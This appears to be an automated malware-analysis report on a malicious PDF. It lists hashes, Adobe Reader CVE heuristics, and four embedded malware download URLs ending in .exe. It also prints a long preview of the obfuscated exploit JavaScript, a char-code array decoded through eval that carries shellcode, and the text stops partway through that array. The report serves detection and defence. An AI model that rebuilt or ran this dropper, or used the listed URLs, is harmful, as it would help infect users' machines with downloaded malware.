PDF malware analysis — malicious · ab8e70b34128c46e

MALICIOUS

PDF

76.7 KB Created: 2009-12-02 19:47:96 Authoring application: PDF Library 6.4.3 (via PDF Library 8.8.8) First seen: 2026-05-11

MD5: fa9cd8743d4176e7e97ef5ab1e40752e SHA-1: fd12169fb310a6a14bd0ea5df033270f1232d04e SHA-256: ab8e70b34128c46e9c1f19a8d10b109a3ef3a9fdf5ef205a14c54f3f2c7aac88

532 Risk Score

Malware Insights

MITRE ATT&CK

T1204 Malicious Link T1059.001 PowerShell

This PDF document exploits multiple known vulnerabilities including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. These exploits are used to execute embedded JavaScript, which was further deobfuscated into 'legacy_pdfkit_stage_000.js'. This script is flagged by ClamAV as 'Js.Exploit.Shellcode-18', indicating it likely downloads and executes a second-stage payload. The attack pattern is consistent with exploit kit delivery mechanisms.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://ispiritatus.cn/lider/sploit/izrfg2.exe Referenced by PDF JavaScript
- http://ispiritatus.cn/lider/sploit/click.php?r=Referenced by PDF JavaScript
- http://ispiritatus.cn/lider/sploit/djorsu2.exeReferenced by PDF JavaScript
- http://ispiritatus.cn/lider/sploit/fgpq2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38769 bytes
SHA-256: `3b7994c0a1f1060f0f9d0de08d922ca5dd81c43796859f6f1d03b81fdad68b42`
Preview script First 1,000 lines of the extracted script var zpbfvw="";cmuy=true;abcde="abcde";bikmnw="";pbvz='';cemn=59650;abfimo='';afioqx="";var fhos="",adjq=false,rsuw='',dgiqrw=30953,fgnq=true,cjlntu=0,jnrtwx=String,lnzyu=jnrtwx['furyoym0ClhYaur0CloudYey'.replace(/[y0luY]/g,'')],cgikq=String,aghkou=cgikq['e5vba5l5'.replace(/[5WbdI]/g,'')],bltv="38",hpvy="",hjmnu=[64,66,60,158,168,166,150,172,156,167,161,88,153,161,171,151,156,172,91,177,148,170,166,168,95,88,159,157,161,97,174,69,61,65,60,175,155,161,159,157,83,96,172,153,165,171,163,102,159,157,161,159,167,160,83,98,83,106,83,116,83,164,152,166,92,179,64,66,60,65,60,177,148,170,166,168,83,99,112,88,172,153,165,171,163,115,64,66,60,65,176,69,61,65,60,177,148,170,166,168,83,117,83,177,148,170,166,168,97,171,168,154,166,172,165,161,161,159,91,104,95,88,159,157,161,103,101,97,110,69,61,65,60,170,152,172,168,170,161,88,172,153,165,171,163,115,64,66,60,181,64,66,64,66,60,158,168,166,150,172,156,167,161,88,168,172,156,164,146,168,165,161,161,172,153,96,92,179,64,66,60,65,169,153,165,88,163,153,172,164,162,153,151,88,112,88,168,166,152,171,150,153,163,157,91,90,88,173,120,122,120,113,88,173,99,104,99,105,88,173,104,110,99,104,88,173,116,105,105,108,88,173,99,104,102,104,88,173,99,104,99,104,88,173,103,104,107,122,88,173,107,122,99,123,88,173,100,123,106,104,88,173,107,122,116,124,88,173,99,112,103,104,88,173,118,107,104,125,88,173,107,122,104,109,88,173,107,122,120,123,88,173,99,112,103,109,88,173,102,107,104,106,88,173,118,105,119,106,88,173,99,107,118,106,88,173,100,104,102,106,88,173,107,104,103,104,88,173,99,104,102,112,88,173,121,109,106,109,88,173,118,106,107,122,88,173,104,124,104,121,88,173,99,108,118,106,88,173,104,109,99,104,88,173,120,123,107,122,88,173,104,105,104,105,88,173,104,110,104,107,88,173,105,104,104,111,88,173,104,124,107,122,88,173,102,107,99,112,88,173,107,122,118,104,88,173,99,123,106,109,88,173,121,125,107,122,88,173,106,110,99,107,88,173,107,122,102,123,88,173,106,112,103,125,88,173,118,126,99,107,88,173,104,105,107,122,88,173,104,106,100,123,88,173,104,105,107,122,88,173,104,106,101,108,88,173,106,105,107,122,88,173,103,125,100,108,88,173,106,109,107,113,88,173,107,122,121,123,88,173,101,104,106,105,88,173,121,111,99,107,88,173,103,121,108,113,88,173,103,106,116,124,88,173,102,122,105,104,88,173,121,123,104,109,88,173,99,108,106,109,88,173,118,104,102,107,88,173,102,111,120,122,88,173,121,126,102,107,88,173,103,109,99,107,88,173,108,111,99,123,88,173,118,126,107,122,88,173,106,109,116,125,88,173,101,122,121,124,88,173,103,126,121,113,88,173,120,112,104,105,88,173,121,126,108,108,88,173,121,126,121,126,88,173,118,107,102,122,88,173,106,108,105,105,88,173,120,122,99,106,88,173,107,122,119,113,88,173,99,123,103,109,88,173,104,125,108,106,88,173,121,106,99,107,88,173,120,104,119,105,88,173,118,110,99,107,88,173,118,113,102,107,88,173,117,111,99,126,88,173,104,126,99,112,88,173,120,105,118,105,88,173,99,107,99,106,88,173,99,107,118,121,88,173,107,122,118,126,88,173,99,107,99,105,88,173,107,113,118,106,88,173,121,112,103,109,88,173,107,122,105,105,88,173,121,112,103,109,88,173,104,125,104,126,88,173,118,113,104,122,88,173,104,109,118,107,88,173,120,123,107,122,88,173,120,112,104,105,88,173,121,126,103,113,88,173,121,126,121,126,88,173,105,112,104,104,88,173,105,104,120,112,88,173,99,108,117,126,88,173,105,123,120,112,88,173,121,126,121,126,88,173,102,107,121,126,88,173,104,106,119,106,88,173,121,126,104,106,88,173,99,112,106,109,88,173,119,104,121,126,88,173,103,109,107,113,88,173,107,122,121,123,88,173,121,123,103,109,88,173,118,107,118,113,88,173,107,122,104,109,88,173,107,107,120,123,88,173,99,123,120,123,88,173,103,109,107,124,88,173,104,104,121,108,88,173,103,109,118,110,88,173,106,109,121,108,88,173,103,109,118,110,88,173,106,106,121,109,88,173,103,109,118,110,88,173,105,123,121,110,88,173,103,109,118,110,88,173,105,124,121,111,88,173,103,109,118,110,88,173,105,126,121,112,88,173,103,109,118,110,88,173,105,125,121,113,88,173,103,109,118,110,88,173,101,125,121,121,88,173,103,109,118,110,88,173,105,108,121,122,88,173,103,109,118,110,88,173,105,123,121,123,88,173,103,109,118,110,88,173,105,123,121,124,88,173,103,109,118,110,88,173,99,104,121,125,88,173,116,104,120,112,88,173,121,126,121,126,88,173,104,104,121,126,88,173,104,124,105,112,88,173,100,105,107,121,88,173,120,112,100,110,88,173,121,126,100,109,88,173,121,126,121,126,88,173,118,108,107,107,88,173,107,109,99,123,88,173,106,108,118,104,88,173,105,121,100,109,88,173,105,121,99,104,88,173,121,126,99,104,88,173,99,123,106,109,88,173,106,109,121,126,88,173,105,121,99,112,88,173,121,126,99,104,88,173,107,109,119,104,88,173,106,109,118,104,88,173,103,104,99,107,88,173,118,107,118,113,88,173,118,104,102,107,88,173,118,107,118,113,88,173,102,107,104,111,88,173,107,122,118,104,88,173,101,108,103,123,88,173,107,122,99,123,88,173,101,108,106,123,88,173,121,123,99,112,88,173,116,121,121,107,88,173,118,107,104,126,88,173,103,123,107,122,88,173,99,108,101,108,88,173,102,113,107,104,88,173,107,122,99,104,88,173,106,108,118,105,88,173,103,104,99,110,88,173,102,112,107,104,88,173,106,109,99,104,88,173,101,122,121,121,88,173,118,107,118,105,88,173,107,122,104,109,88,173,107,107,120,123,88,173,105,108,120,123,88,173,107,124,104,107,88,173,121,104,103,109,88,173,102,107,104,111,88,173,104,104,119,122,88,173,103,109,118,110,88,173,105,122,121,104,88,173,103,109,118,110,88,173,105,109,121,105,88,173,103,109,118,110,88,173,106,106,121,106,88,173,103,109,118,110,88,173,105,125,121,107,88,173,103,109,118,110,88,173,105,109,121,108,88,173,103,109,118,110,88,173,105,123,121,109,88,173,103,109,118,110,88,173,102,107,121,110,88,173,103,109,118,110,88,173,102,106,121,111,88,173,103,109,118,110,88,173,101,125,121,112,88,173,103,109,118,110,88,173,105,108,121,113,88,173,103,109,118,110,88,173,105,123,121,121,88,173,103,109,118,110,88,173,105,123,121,122,88,173,104,124,107,112,88,173,120,112,121,123,88,173,121,126,99,122,88,173,121,126,121,126,88,173,105,112,104,104,88,173,103,107,105,112,88,173,107,125,121,113,88,173,107,104,120,112,88,173,121,126,121,125,88,173,107,122,121,126,88,173,107,124,121,112,88,173,108,123,103,109,88,173,103,108,105,121,88,173,120,112,104,104,88,173,121,126,106,125,88,173,121,126,121,126,88,173,103,109,107,124,88,173,105,121,120,104,88,173,104,104,100,104,88,173,106,107,120,112,88,173,121,126,121,126,88,173,107,107,121,126,88,173,100,123,118,108,88,173,103,109,107,124,88,173,104,104,120,104,88,173,103,109,107,124,88,173,104,104,108,123,88,173,104,107,104,107,88,173,104,107,104,107,88,173,104,107,104,107,88,173,106,109,121,126,88,173,118,111,99,112,88,173,108,123,103,109,88,173,99,104,103,108,88,173,99,104,99,104,88,173,121,126,104,107,88,173,104,126,119,111,88,173,117,110,99,126,88,173,104,122,118,104,88,173,118,107,118,113,88,173,107,122,104,109,88,173,104,105,120,123,88,173,104,107,104,105,88,173,104,111,104,110,88,173,103,106,105,121,88,173,106,106,120,112,88,173,99,104,99,104,88,173,107,122,99,104,88,173,102,107,119,112,88,173,107,109,121,110,88,173,104,113,119,122,88,173,103,109,118,111,88,173,105,105,121,112,88,173,105,109,101,125,88,173,118,111,106,112,88,173,121,123,103,109,88,173,99,104,105,109,88,173,99,104,99,104,88,173,104,110,106,125,88,173,103,109,107,124,88,173,104,104,121,112,88,173,120,112,104,110,88,173,99,104,104,105,88,173,99,104,99,104,88,173,104,104,104,113,88,173,117,105,120,112,88,173,121,126,121,125,88,173,107,109,121,126,88,173,104,113,118,104,88,173,106,108,104,113,88,173,107,124,102,113,88,173,99,105,103,110,88,173,120,112,104,104,88,173,99,104,102,122,88,173,99,104,99,104,88,173,121,112,107,122,88,173,103,109,107,124,88,173,104,104,121,112,88,173,101,105,120,112,88,173,121,126,121,126,88,173,107,109,121,126,88,173,104,113,118,104,88,173,106,108,104,113,88,173,104,111,99,123,88,173,99,105,120,112,88,173,121,126,121,126,88,173,104,113,121,126,88,173,103,108,118,110,88,173,121,126,102,112,88,173,104,104,106,107,88,173,103,109,107,124,88,173,121,125,121,112,88,173,104,112,99,104,88,173,103,109,107,124,88,173,104,104,121,112,88,173,120,112,104,111,88,173,121,125,106,108,88,173,121,126,121,126,88,173,104,113,104,113,88,173,103,110,103,110,88,173,121,107,102,122,88,173,116,121,106,123,88,173,104,125,104,126,88,173,118,113,104,122,88,173,104,109,118,107,88,173,120,123,107,122,88,173,104,107,104,105,88,173,105,104,105,110,88,173,102,106,117,105,88,173,99,104,120,112,88,173,99,104,99,104,88,173,104,112,99,104,88,173,99,112,102,112,88,173,99,107,106,108,88,173,120,122,103,104,88,173,103,104,121,113,88,173,104,124,107,122,88,173,107,104,99,112,88,173,103,106,121,122,88,173,99,112,106,109,88,173,119,122,102,107,88,173,100,112,107,121,88,173,118,107,107,122,88,173,100,111,120,122,88,173,100,112,102,112,88,173,100,105,106,110,88,173,102,107,103,104,88,173,107,108,118,113,88,173,106,108,119,122,88,173,103,104,99,123,88,173,99,112,102,112,88,173,121,122,106,109,88,173,121,125,103,104,88,173,120,122,118,122,88,173,102,107,121,106,88,173,107,113,118,104,88,173,121,123,103,109,88,173,103,109,107,122,88,173,104,122,121,123,88,173,118,107,118,113,88,173,99,106,102,106,88,173,106,108,105,112,88,173,106,104,106,108,88,173,101,126,102,121,88,173,105,113,101,126,88,173,106,104,106,107,88,173,106,106,105,113,88,173,106,108,105,113,88,173,106,108,105,105,88,173,106,107,106,109,88,173,105,107,101,125,88,173,101,126,105,125,88,173,105,113,105,123,88,173,105,109,105,108,88,173,101,126,106,106,88,173,106,104,106,107,88,173,105,126,105,123,88,173,106,108,105,113,88,173,105,113,101,126,88,173,106,106,106,121,88,173,105,111,105,110,88,173,101,125,102,106,88,173,106,112,105,109,88,173,99,104,105,109,88,173,106,108,105,112,88,173,106,104,106,108,88,173,101,126,102,121,88,173,105,113,101,126,88,173,106,104,106,107,88,173,106,106,105,113,88,173,106,108,105,113,88,173,106,108,105,105,88,173,106,107,106,109,88,173,105,107,101,125,88,173,101,126,105,125,88,173,105,113,105,123,88,173,105,109,105,108,88,173,101,126,106,106,88,173,106,104,106,107,88,173,105,126,105,123,88,173,106,108,105,113,88,173,105,107,101,126,88,173,105,113,105,123,88,173,105,122,105,107,88,173,106,104,101,125,88,173,106,104,105,112,88,173,106,106,102,126,88,173,99,104,102,124,85,97,110,69,61,65,60,174,148,170,83,166,162,168,83,117,83,173,161,157,166,155,148,168,152,96,85,93,168,104,116,104,116,93,168,104,116,104,116,93,168,104,116,104,116,93,168,104,116,104,116,90,92,69,61,65,60,174,148,170,83,160,152,153,163,154,159,167,150,163,83,117,83,166,162,168,83,99,83,168,148,177,159,167,148,156,110,69,61,65,60,174,148,170,83,154,156,159,149,164,162,155,158,88,112,88,168,166,152,171,150,153,163,157,91,90,88,173,99,121,99,121,88,173,99,121,99,121,85,97,110,69,61,65,60,174,148,170,83,160,152,153,151,157,165,171,156,178,152,88,112,88,101,104,110,69,61,65,60,174,148,170,83,171,163,170,148,177,83,117,83,160,152,153,151,157,165,171,156,178,152,88,94,88,155,157,148,168,149,164,162,155,158,102,159,157,161,159,167,160,110,69,61,65,60,175,155,161,159,157,83,96,149,161,154,154,159,167,150,163,97,164,152,166,154,172,155,88,111,88,166,168,165,153,172,97,174,69,61,65,60,65,149,161,154,154,159,167,150,163,83,99,112,88,149,161,154,154,159,167,150,163,110,69,61,65,60,181,64,66,60,65,169,153,165,88,153,161,159,164,149,164,162,155,158,88,112,88,149,161,154,154,159,167,150,163,97,171,168,154,166,172,165,161,161,159,91,104,95,88,166,168,165,153,172,97,110,69,61,65,60,174,148,170,83,154,159,167,150,163,83,117,83,154,156,159,149,164,162,155,158,102,166,173,149,171,167,170,156,166,154,96,99,100,83,154,156,159,149,164,162,155,158,102,159,157,161,159,167,160,96,171,163,170,148,177,92,115,64,66,60,65,170,160,156,164,152,88,91,154,159,167,150,163,97,164,152,166,154,172,155,99,166,168,165,153,172,88,111,88,99,176,103,104,99,104,99,97,174,69,61,65,60,65,149,164,162,155,158,88,112,88,149,164,162,155,158,88,94,88,149,164,162,155,158,88,94,88,153,161,159,164,149,164,162,155,158,115,64,66,60,65,176,69,61,65,60,174,148,170,83,165,152,165,146,153,165,170,148,177,83,117,83,166,152,175,83,121,165,170,148,177,91,97,110,69,61,65,60,158,162,170,83,96,169,153,165,88,156,88,112,88,99,115,83,161,83,116,83,105,103,104,99,115,83,161,94,99,92,179,64,66,60,65,60,165,152,165,146,153,165,170,148,177,142,161,144,88,112,88,149,164,162,155,158,88,94,88,155,157,148,168,149,164,162,155,158,115,64,66,60,65,176,69,61,65,60,174,148,170,83,166,168,165,83,117,83,105,101,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,115,64,66,60,65,168,172,156,164,97,168,165,161,161,172,153,96,85,93,103,109,99,104,99,158,85,100,83,166,168,165,92,115,64,66,60,181,64,66,64,66,60,158,168,166,150,172,156,167,161,88,150,167,159,164,148,154,146,157,160,153,156,164,91,97,174,69,61,65,60,174,148,170,83,171,155,157,159,164,150,167,151,157,83,117,83,173,161,157,166,155,148,168,152,96,85,93,168,125,117,125,108,93,168,104,99,104,100,93,168,109,105,104,99,93,168,121,100,110,103,93,168,104,99,107,99,93,168,104,99,104,99,93,168,108,99,112,117,93,168,112,117,104,118,93,168,105,118,111,99,93,168,112,117,121,119,93,168,104,107,108,99,93,168,123,102,109,120,93,168,112,117,109,104,93,168,112,117,125,118,93,168,104,107,108,104,93,168,107,102,109,101,93,168,123,100,124,101,93,168,104,102,123,101,93,168,105,99,107,101,93,168,112,99,108,99,93,168,104,99,107,107,93,168,126,104,111,104,93,168,123,101,112,117,93,168,109,119,109,116,93,168,104,103,123,101,93,168,109,104,104,99,93,168,125,118,112,117,93,168,109,100,109,100,93,168,109,105,109,102,93,168,110,99,109,106,93,168,109,119,112,117,93,168,107,102,104,107,93,168,112,117,123,99,93,168,104,118,111,104,93,168,126,120,112,117,93,168,111,105,104,102,93,168,112,117,107,118,93,168,111,107,108,120,93,168,123,121,104,102,93,168,109,100,112,117,93,168,109,101,105,118,93,168,109,100,112,117,93,168,109,101,106,103,93,168,111,100,112,117,93,168,108,120,105,103,93,168,111,104,112,108,93,168,112,117,126,118,93,168,106,99,111,100,93,168,126,106,104,102,93,168,108,116,113,108,93,168,108,101,121,119,93,168,107,117,110,99,93,168,126,118,109,104,93,168,104,103,111,104,93,168,123,99,107,102,93,168,107,106,125,117,93,168,126,121,107,102,93,168,108,104,104,102,93,168,113,106,104,118,93,168,123,121,112,117,93,168,111,104,121,120,93,168,106,117,126,119,93,168,108,121,126,108,93,168,125,107,109,100,93,168,126,121,113,103,93,168,126,121,126,121,93,168,123,102,107,117,93,168,111,103,110,100,93,168,125,117,104,101,93,168,112,117,124,108,93,168,104,118,108,104,93,168,109,120,113,101,93,168,126,101,104,102,93,168,125,99,124,100,93,168,123,105,104,102,93,168,123,108,107,102,93,168,122,106,104,121,93,168,109,121,104,107,93,168,125,100,123,100,93,168,104,102,104,101,93,168,104,102,123,116,93,168,112,117,123,121,93,168,104,102,104,100,93,168,112,108,123,101,93,168,126,107,108,104,93,168,112,117,110,100,93,168,126,107,108,104,93,168,109,120,109,121,93,168,123,108,109,117,93,168,109,104,123,102,93,168,125,118,112,117,93,168,125,107,109,100,93,168,126,121,108,108,93,168,126,121,126,121,93,168,110,107,109,99,93,168,110,99,125,107,93,168,104,103,122,121,93,168,110,118,125,107,93,168,126,121,126,121,93,168,107,102,126,121,93,168,109,101,124,101,93,168,126,121,109,101,93,168,104,107,111,104,93,168,124,99,126,121,93,168,108,104,112,108,93,168,112,117,126,118,93,168,126,118,108,104,93,168,123,102,123,108,93,168,112,117,109,104,93,168,112,102,125,118,93,168,104,118,125,118,93,168,108,104,112,119,93,168,109,99,126,103,93,168,108,104,123,105,93,168,111,104,126,103,93,168,108,104,123,105,93,168,111,101,126,104,93,168,108,104,123,105,93,168,110,118,126,105,93,168,108,104,123,105,93,168,110,119,126,106,93,168,108,104,123,105,93,168,110,121,126,107,93,168,108,104,123,105,93,168,110,120,126,108,93,168,108,104,123,105,93,168,106,120,126,116,93,168,108,104,123,105,93,168,110,103,126,117,93,168,108,104,123,105,93,168,110,118,126,118,93,168,108,104,123,105,93,168,110,118,126,119,93,168,108,104,123,105,93,168,104,99,126,120,93,168,121,99,125,107,93,168,126,121,126,121,93,168,109,99,126,121,93,168,109,119,110,107,93,168,105,100,112,116,93,168,125,107,105,105,93,168,126,121,105,104,93,168,126,121,126,121,93,168,123,103,112,102,93,168,112,104,104,118,93,168,111,103,123,99,93,168,110,116,105,104,93,168,110,116,104,99,93,168,126,121,104,99,93,168,104,118,111,104,93,168,111,104,126,121,93,168,110,116,104,107,93,168,126,121,104,99,93,168,112,104,124,99,93,168,111,104,123,99,93,168,108,99,104,102,93,168,123,102,123,108,93,168,123,99,107,102,93,168,123,102,123,108,93,168,107,102,109,106,93,168,112,117,123,99,93,168,106,103,108,118,93,168,112,117,104,118,93,168,106,103,111,118,93,168,126,118,104,107,93,168,121,116,126,102,93,168,123,102,109,121,93,168,108,118,112,117,93,168,104,103,106,103,93,168,107,108,112,99,93,168,112,117,104,99,93,168,111,103,123,100,93,168,108,99,104,105,93,168,107,107,112,99,93,168,111,104,104,99,93,168,106,117,126,116,93,168,123,102,123,100,93,168,112,117,109,104,93,168,112,102,125,118,93,168,110,103,125,118,93,168,112,119,109,102,93,168,126,99,108,104,93,168,107,102,109,106,93,168,109,99,124,117,93,168,108,104,123,105,93,168,110,117,126,99,93,168,108,104,123,105,93,168,110,104,126,100,93,168,108,104,123,105,93,168,111,101,126,101,93,168,108,104,123,105,93,168,110,120,126,102,93,168,108,104,123,105,93,168,110,104,126,103,93,168,108,104,123,105,93,168,110,118,126,104,93,168,108,104,123,105,93,168,107,102,126,105,93,168,108,104,123,105,93,168,107,101,126,106,93,168,108,104,123,105,93,168,106,120,126,107,93,168,108,104,123,105,93,168,110,103,126,108,93,168,108,104,123,105,93,168,110,118,126,116,93,168,108,104,123,105,93,168,110,118,126,117,93,168,109,119,112,107,93,168,125,107,126,118,93,168,126,121,104,117,93,168,126,121,126,121,93,168,110,107,109,99,93,168,108,102,110,107,93,168,112,120,126,108,93,168,112,99,125,107,93,168,126,121,126,120,93,168,112,117,126,121,93,168,112,119,126,107,93,168,113,118,108,104,93,168,108,103,110,116,93,168,125,107,109,99,93,168,126,121,111,120,93,168,126,121,126,121,93,168,108,104,112,119,93,168,110,116,125,99,93,168,109,99,105,99,93,168,111,102,125,107,93,168,126,121,126,121,93,168,112,102,126,121,93,168,105,118,123,103,93,168,108,104,112,119,93,168,109,99,125,99,93,168,108,104,112,119,93,168,109,99,113,118,93,168,109,102,109,102,93,168,109,102,109,102,93,168,109,102,109,102,93,168,111,104,126,121,93,168,123,106,104,107,93,168,113,118,108,104,93,168,104,99,108,103,93,168,104,99,104,99,93,168,126,121,109,102,93,168,109,121,124,106,93,168,122,105,104,121,93,168,109,117,123,99,93,168,123,102,123,108,93,168,112,117,109,104,93,168,109,100,125,118,93,168,109,102,109,100,93,168,109,106,109,105,93,168,108,101,110,116,93,168,111,101,125,107,93,168,104,99,104,99,93,168,112,117,104,99,93,168,107,102,124,107,93,168,112,104,126,105,93,168,109,108,124,117,93,168,108,104,123,106,93,168,110,100,126,107,93,168,110,104,106,120,93,168,123,106,111,107,93,168,126,118,108,104,93,168,104,99,110,104,93,168,104,99,104,99,93,168,109,105,111,120,93,168,108,104,112,119,93,168,109,99,126,107,93,168,125,107,109,105,93,168,104,99,109,100,93,168,104,99,104,99,93,168,109,99,109,108,93,168,122,100,125,107,93,168,126,121,126,120,93,168,112,104,126,121,93,168,109,108,123,99,93,168,111,103,109,108,93,168,112,119,107,108,93,168,104,100,108,105,93,168,125,107,109,99,93,168,104,99,107,117,93,168,104,99,104,99,93,168,126,107,112,117,93,168,108,104,112,119,93,168,109,99,126,107,93,168,106,100,125,107,93,168,126,121,126,121,93,168,112,104,126,121,93,168,109,108,123,99,93,168,111,103,109,108,93,168,109,106,104,118,93,168,104,100,125,107,93,168,126,121,126,121,93,168,109,108,126,121,93,168,108,103,123,105,93,168,126,121,107,107,93,168,109,99,111,102,93,168,108,104,112,119,93,168,126,120,126,107,93,168,109,107,104,99,93,168,108,104,112,119,93,168,109,99,126,107,93,168,125,107,109,106,93,168,126,120,111,103,93,168,126,121,126,121,93,168,109,108,109,108,93,168,108,105,108,105,93,168,126,102,107,117,93,168,121,116,111,118,93,168,109,120,109,121,93,168,123,108,109,117,93,168,109,104,123,102,93,168,125,118,112,117,93,168,109,102,109,100,93,168,110,99,110,105,93,168,107,101,122,100,93,168,104,99,125,107,93,168,104,99,104,99,93,168,109,107,104,99,93,168,104,107,107,107,93,168,104,102,111,103,93,168,125,117,108,99,93,168,108,99,126,108,93,168,109,119,112,117,93,168,112,99,104,107,93,168,108,101,126,117,93,168,104,107,111,104,93,168,124,117,107,102,93,168,105,107,112,116,93,168,123,102,112,117,93,168,105,106,125,117,93,168,105,107,107,107,93,168,105,100,111,105,93,168,107,102,108,99,93,168,112,103,123,108,93,168,111,103,124,117,93,168,108,99,104,118,93,168,104,107,107,107,93,168,126,117,111,104,93,168,126,120,108,99,93,168,125,117,123,117,93,168,107,102,126,101,93,168,112,108,123,99,93,168,126,118,108,104,93,168,108,104,112,117,93,168,109,117,126,118,93,168,123,102,123,108,93,168,104,101,107,101,93,168,111,103,110,107,93,168,111,99,111,103,93,168,106,121,107,116,93,168,110,108,106,121,93,168,111,99,111,102,93,168,111,101,110,108,93,168,111,103,110,108,93,168,111,103,110,100,93,168,111,102,111,104,93,168,110,102,106,120,93,168,106,121,110,120,93,168,110,108,110,118,93,168,110,104,110,103,93,168,106,121,111,101,93,168,111,99,111,102,93,168,110,121,110,118,93,168,111,103,110,108,93,168,110,103,106,121,93,168,110,121,110,116,93,168,111,102,111,101,93,168,107,101,111,104,93,168,110,104,106,120,93,168,110,104,111,107,93,168,110,107,104,99,93,168,111,103,111,103,93,168,107,116,111,99,93,168,106,121,106,121,93,168,111,102,110,108,93,168,110,108,111,99,93,168,110,108,111,101,93,168,110,100,111,103,93,168,111,104,111,103,93,168,106,120,111,102,93,168,110,120,110,102,93,168,110,118,106,121,93,168,110,103,110,108,93,168,111,101,110,104,93,168,111,102,106,121,93,168,110,118,111,99,93,168,110,108,110,121,93,168,106,121,111,103,93,168,110,118,110,102,93,168,110,102,110,108,93,168,106,120,110,117,93,168,110,107,111,99,93,168,107,121,111,99,93,168,107,119,111,101,93,168,104,99,104,99,90,92,115,64,66,60,65,169,153,165,88,160,157,160,151,148,170,165,153,172,88,112,88,161,157,170,88,116,170,165,153,172,96,92,115,64,66,60,65,169,153,165,88,150,155,83,117,83,104,171,104,150,104,150,104,150,104,150,115,64,66,60,65,169,153,165,88,148,156,151,170,83,117,83,104,171,108,99,104,99,104,99,115,64,66,60,65,169,153,165,88,166,155,146,164,152,166,83,117,83,171,155,157,159,164,150,167,151,157,97,164,152,166,154,172,155,88,93,88,101,115,64,66,60,65,169,153,165,88,159,157,161,88,112,88,148,156,151,170,83,101,83,96,166,155,146,164,152,166,94,104,171,107,107,97,110,69,61,65,60,174,148,170,83,177,148,170,166,168,83,117,83,173,161,157,166,155,148,168,152,96,85,93,168,113,99,113,99,93,168,113,